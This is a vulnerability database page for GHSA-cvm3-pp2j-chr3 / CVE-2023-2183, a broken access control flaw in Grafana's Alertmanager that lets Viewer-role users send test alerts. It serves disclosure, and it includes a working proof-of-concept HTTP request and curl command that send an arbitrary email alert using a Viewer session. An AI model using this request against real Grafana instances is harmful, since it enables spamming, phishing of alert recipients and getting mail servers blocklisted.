github - ghsa-cvm3-pp2j-chr3

GHSA-CVM3-PP2J-CHR3

Vulnerability from github – Published: 2023-06-12 20:09 – Updated: 2023-06-12 20:09

Summary

Grafana has Broken Access Control in Alert manager: Viewer can send test alerts

Details

Summary

Grafana allows an attacker in the Viewer role, send alerts by API Alert - Test. The option is not available from the user panel UI for in the Viewer role.

Reason for the error: The API does not check access to this function and allows it by users with the least rights, for example, the Viewer that does not see this option in the user panel.

This enables malicious users to abuse the functionality by sending multiple alert messages (e-mail, slack, etc…), spamming users, prepare Phishing attack or blocked SMTP server / IP and automatically moved all message to spam folder, add to black list IP.

Details

The logged-in user, in the Viewer role, in the user panel, does not have access to the test option of sending an e-mail alert.

View of the panel for the user in the Viewer role:

Admin role - View panel for admin role:

Admin role - Next step – editing:

Admin role - Additional options:

PoC

HTTP Request by user in role Viewer

POST /api/alertmanager/grafana/config/api/v1/receivers/test HTTP/1.1
Host: xxx
Cookie: grafana_session=xxx
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xxx/alerting/notifications/receivers/grafana-default-email/edit?alertmanager=grafana
accept: application/json, text/plain, */*
content-type: application/json
…

{"receivers":[{"name":"test","grafana_managed_receiver_configs":[{"settings":{"addresses":"<test@example.com>",
"singleEmail":true},"secureSettings":{},"type":"email","name":"test","disableResolveMessage":false}]}],
"alert":{"annotations":{"runbook_url":"http://example.com ","description":"tekst","testowy":"test http://example.com",
"more":"http://example.com "},"labels":{}}}

HTTP Response:

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Expires: -1
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Date: Wed, 05 Apr 2023 10:43:00 GMT
Content-Length: 471

{"alert":{"annotations":{"__value_string__":"[ metric='foo' labels={instance=bar} value=10 ]","description":"tekst",
"more":"http://example.com","runbook_url":"http://example.com","summary":"Notification test",
"testowy":"testowy http://example.com"},"labels":{"alertname":"TestAlert","instance":"Grafana"}},
"receivers":[{"name":"test","grafana_managed_receiver_configs":[{"name":"test","uid":"ojUhNFL4k","status":"ok"}]}],
"notified_at":"2023-04-05T12:43:00.1430203+02:00"}

Result:

The attacker can send as a template alert or plain/text.

Impact

As I showed above, an enabled user in the lowest role can execute an endpoint API that allows him to send an e-mail as an alert and impersonate its content. If modified accordingly, the recipient may fall victim to a Phishing attack or a targeted attack to block the SMTP server.

From a practical point of view, this means that for each "GrafanaReceiver" e.g.: Slack, E-mail, etc.. You can send any alert message from user with the least privileged.

CURL example – using a user session in the Viewer role:

curl -i -s -k -X $'POST' \
    -H $'Host: localhost:3002' -H $'Content-Length: 386' -H $'sec-ch-ua: \"Not:A-Brand\";v=\"99\", \"Chromium\";v=\"112\"' -H $'accept: application/json, text/plain, */*' -H $'content-type: application/json' -H $'x-grafana-org-id: 1' -H $'sec-ch-ua-mobile: ?0' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/527.36 (KHTML, like Gecko) Chrome/112.0.2615.50 Safari/11.36' -H $'sec-ch-ua-platform: \"macOS\"' -H $'Origin: http://localhost:3002' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Referer: http://localhost:3002/' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
    -b $'grafana_session=xxx' \
    --data-binary $'{\"receivers\":[{\"name\":\"test\",\"grafana_managed_receiver_configs\":[{\"settings\":{\"addresses\":\"<test@example.com>\",\"singleEmail\":true\x0d\x0a},\"secureSettings\":{},\"type\":\"email\",\"name\":\"test\",\"disableResolveMessage\":false}]}],\"alert\":{\"annotations\":{\"runbook_url\":\"http://example.com\",\"description\":\"tekst\",\"testowy\":\"testowy http://example.com\",\x0d\x0a\"more\":\"http://example.com\"\x0d\x0a},\"labels\":{}}}\x0d\x0a' \
    $'http://localhost:3002/api/alertmanager/grafana/config/api/v1/receivers/test'

Mitigation

In the SMTP server configuration settings, limit the ability to send multiple e-mails to the same e-mail address per unit of time / threshold.
Check the API for the possibility of accessing this endpoint for other roles than admin

Severity ?

4.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.5.26"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.2.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.3.0"
            },
            {
              "fixed": "9.3.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.4.0"
            },
            {
              "fixed": "9.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.5.0"
            },
            {
              "fixed": "9.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-2183"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-12T20:09:27Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nGrafana allows an attacker in the Viewer role, send alerts by API Alert - Test. The option is not available from the user panel UI for in the Viewer role. \n\n**Reason for the error**: The API does not check access to this function and allows it by users with the least rights, for example, the Viewer that does not see this option in the user panel. \n\nThis enables malicious users to abuse the functionality by sending multiple alert messages (e-mail, slack, etc\u2026), spamming users, prepare Phishing attack or blocked SMTP server / IP and automatically moved all message to spam folder, add to black list IP.\n\n\n### Details\nThe logged-in user, in the Viewer role, in the user panel, does not have access to the test option of sending an e-mail alert. \n\nView of the panel for the user in the Viewer role:\n![image](https://user-images.githubusercontent.com/1643385/232904030-e8a8338d-f5e3-4b04-80c3-32f2164a190e.png)\n\nAdmin role - View panel for admin role:\n![image](https://user-images.githubusercontent.com/1643385/232904264-c7aba0a5-0642-496b-998d-d500eb5ead7f.png)\n\nAdmin role - Next step \u2013 editing:\n![image](https://user-images.githubusercontent.com/1643385/232904388-ef2ee69e-3ee3-41a9-8687-305886c5c0b9.png)\n\nAdmin role - Additional options:\n![image](https://user-images.githubusercontent.com/1643385/232904480-dd493d34-d66d-47af-ab4f-3273ae8976bc.png)\n\n\n\n### PoC\n\n**HTTP Request by user in role Viewer**\n```\nPOST /api/alertmanager/grafana/config/api/v1/receivers/test HTTP/1.1\nHost: xxx\nCookie: grafana_session=xxx\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://xxx/alerting/notifications/receivers/grafana-default-email/edit?alertmanager=grafana\naccept: application/json, text/plain, */*\ncontent-type: application/json\n\u2026\n\n{\"receivers\":[{\"name\":\"test\",\"grafana_managed_receiver_configs\":[{\"settings\":{\"addresses\":\"\u003ctest@example.com\u003e\",\n\"singleEmail\":true},\"secureSettings\":{},\"type\":\"email\",\"name\":\"test\",\"disableResolveMessage\":false}]}],\n\"alert\":{\"annotations\":{\"runbook_url\":\"http://example.com \",\"description\":\"tekst\",\"testowy\":\"test http://example.com\",\n\"more\":\"http://example.com \"},\"labels\":{}}}\n\n```\n\n**HTTP Response:**\n```\nHTTP/1.1 200 OK\nCache-Control: no-cache\nContent-Type: application/json\nExpires: -1\nPragma: no-cache\nX-Content-Type-Options: nosniff\nX-Frame-Options: deny\nX-Xss-Protection: 1; mode=block\nDate: Wed, 05 Apr 2023 10:43:00 GMT\nContent-Length: 471\n\n{\"alert\":{\"annotations\":{\"__value_string__\":\"[ metric=\u0027foo\u0027 labels={instance=bar} value=10 ]\",\"description\":\"tekst\",\n\"more\":\"http://example.com\",\"runbook_url\":\"http://example.com\",\"summary\":\"Notification test\",\n\"testowy\":\"testowy http://example.com\"},\"labels\":{\"alertname\":\"TestAlert\",\"instance\":\"Grafana\"}},\n\"receivers\":[{\"name\":\"test\",\"grafana_managed_receiver_configs\":[{\"name\":\"test\",\"uid\":\"ojUhNFL4k\",\"status\":\"ok\"}]}],\n\"notified_at\":\"2023-04-05T12:43:00.1430203+02:00\"}\n\n```\n\n## Result:\nThe attacker can send as a template alert or plain/text.\n\n![image](https://user-images.githubusercontent.com/1643385/232917993-1294cfe0-3040-4d04-a533-a72ecbc666c0.png)\n\n\n### Impact\nAs I showed above, an enabled user in the lowest role can execute an endpoint API that allows him to send an e-mail as an alert and impersonate its content. If modified accordingly, the recipient may fall victim to a Phishing attack or a targeted attack to block the SMTP server. \n\nFrom a practical point of view, this means that for each \"GrafanaReceiver\" e.g.: Slack, E-mail, etc.. You can send any alert message from user with the least privileged. \n\nCURL example \u2013 using a user session in the Viewer role:\n\n```\ncurl -i -s -k -X $\u0027POST\u0027 \\\n    -H $\u0027Host: localhost:3002\u0027 -H $\u0027Content-Length: 386\u0027 -H $\u0027sec-ch-ua: \\\"Not:A-Brand\\\";v=\\\"99\\\", \\\"Chromium\\\";v=\\\"112\\\"\u0027 -H $\u0027accept: application/json, text/plain, */*\u0027 -H $\u0027content-type: application/json\u0027 -H $\u0027x-grafana-org-id: 1\u0027 -H $\u0027sec-ch-ua-mobile: ?0\u0027 -H $\u0027User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/527.36 (KHTML, like Gecko) Chrome/112.0.2615.50 Safari/11.36\u0027 -H $\u0027sec-ch-ua-platform: \\\"macOS\\\"\u0027 -H $\u0027Origin: http://localhost:3002\u0027 -H $\u0027Sec-Fetch-Site: same-origin\u0027 -H $\u0027Sec-Fetch-Mode: cors\u0027 -H $\u0027Sec-Fetch-Dest: empty\u0027 -H $\u0027Referer: http://localhost:3002/\u0027 -H $\u0027Accept-Encoding: gzip, deflate\u0027 -H $\u0027Accept-Language: en-GB,en-US;q=0.9,en;q=0.8\u0027 -H $\u0027Connection: close\u0027 \\\n    -b $\u0027grafana_session=xxx\u0027 \\\n    --data-binary $\u0027{\\\"receivers\\\":[{\\\"name\\\":\\\"test\\\",\\\"grafana_managed_receiver_configs\\\":[{\\\"settings\\\":{\\\"addresses\\\":\\\"\u003ctest@example.com\u003e\\\",\\\"singleEmail\\\":true\\x0d\\x0a},\\\"secureSettings\\\":{},\\\"type\\\":\\\"email\\\",\\\"name\\\":\\\"test\\\",\\\"disableResolveMessage\\\":false}]}],\\\"alert\\\":{\\\"annotations\\\":{\\\"runbook_url\\\":\\\"http://example.com\\\",\\\"description\\\":\\\"tekst\\\",\\\"testowy\\\":\\\"testowy http://example.com\\\",\\x0d\\x0a\\\"more\\\":\\\"http://example.com\\\"\\x0d\\x0a},\\\"labels\\\":{}}}\\x0d\\x0a\u0027 \\\n    $\u0027http://localhost:3002/api/alertmanager/grafana/config/api/v1/receivers/test\u0027\n```\n\n### Mitigation\n\n1. In the SMTP server configuration settings, limit the ability to send multiple e-mails to the same e-mail address per unit of time / threshold. \n2. Check the API for the possibility of accessing this endpoint for other roles than admin\n",
  "id": "GHSA-cvm3-pp2j-chr3",
  "modified": "2023-06-12T20:09:27Z",
  "published": "2023-06-12T20:09:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grafana/bugbounty/security/advisories/GHSA-cvm3-pp2j-chr3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2183"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grafana/bugbounty"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/security/security-advisories/cve-2023-2183"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grafana has Broken Access Control in Alert manager: Viewer can send test alerts"
}

CVE-2023-2183 (GCVE-0-2023-2183)

Vulnerability from cvelistv5 – Published: 2023-06-06 18:04 – Updated: 2025-02-13 16:40

Summary

Grafana is an open-source platform for monitoring and observability. The option to send a test alert is not available from the user panel UI for users having the Viewer role. It is still possible for a user with the Viewer role to send a test alert using the API as the API does not check access to this function. This might enable malicious users to abuse the functionality by sending multiple alert messages to e-mail and Slack, spamming users, prepare Phishing attack or block SMTP server. Users may upgrade to version 9.5.3, 9.4.12, 9.3.15, 9.2.19 and 8.5.26 to receive a fix.

Severity ?

4.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N

CWE

CWE-284

Assigner

GRAFANA

References

URL

Tags

	https://grafana.com/security/security-advisories/…
	https://github.com/grafana/bugbounty/security/adv…
	https://security.netapp.com/advisory/ntap-2023070…

Impacted products

Vendor

Product

Version

Grafana

Affected: 8.0.0 , < 8.5.26 (semver)
Affected: 9.0.0 , < 9.2.19 (semver)
Affected: 9.3.0 , < 9.3.15 (semver)
Affected: 9.4.0 , < 9.4.12 (semver)
Affected: 9.5.0 , < 9.5.3 (semver)

Grafana

Grafana Enterprise

Affected: 8.0.0 , < 8.5.26 (semver)
Affected: 9.0.0 , < 9.2.19 (semver)
Affected: 9.3.0 , < 9.3.15 (semver)
Affected: 9.4.0 , < 9.4.12 (semver)
Affected: 9.5.0 , < 9.5.3 (semver)

Show details on NVD website

JSON

To clipboard

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          "versions": [
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      "metrics": [
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Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-CVM3-PP2J-CHR3

Summary

Details

PoC

Result:

Impact

Mitigation

CVE-2023-2183 (GCVE-0-2023-2183)

Tags

Sightings

Nomenclature